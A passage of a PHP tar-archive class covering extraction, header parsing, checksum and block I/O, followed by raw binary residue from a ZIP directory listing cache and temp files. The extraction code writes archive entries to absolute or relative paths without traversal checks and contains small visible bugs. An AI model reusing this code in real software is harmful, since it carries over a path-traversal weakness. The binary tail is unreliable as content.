$file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKR\OyXXupload/readme.txtnu[PKR\temp-write-test-1587904128nu[PKR\temp-write-test-1498552029nu[PKR\-cache/readme.txtnu[PKR\3FaaHmcache/zend_cache---internal-metadatas---5a54ef68b677ff09ee217dd76c816de3nu"] PKR\T'EE3Fcache/zend_cache---5a54ef68b677ff09ee217dd76c816de3nu"] PKR\IHtemp-write-test-1456144160nu[PKR\>EEHnew-rewrite/readme.txtnu[PKR\Vrr Ilast_errornu[PKR\Itemp-write-test-1498553041nu[PKR\Jtemp-write-test-1498552061nu[PKR\^Jtemp-write-test-1498552006nu[PKR\Jtemp-write-test-1461079433nu[PKR\Jtemp-write-test-1498553255nu[PKR\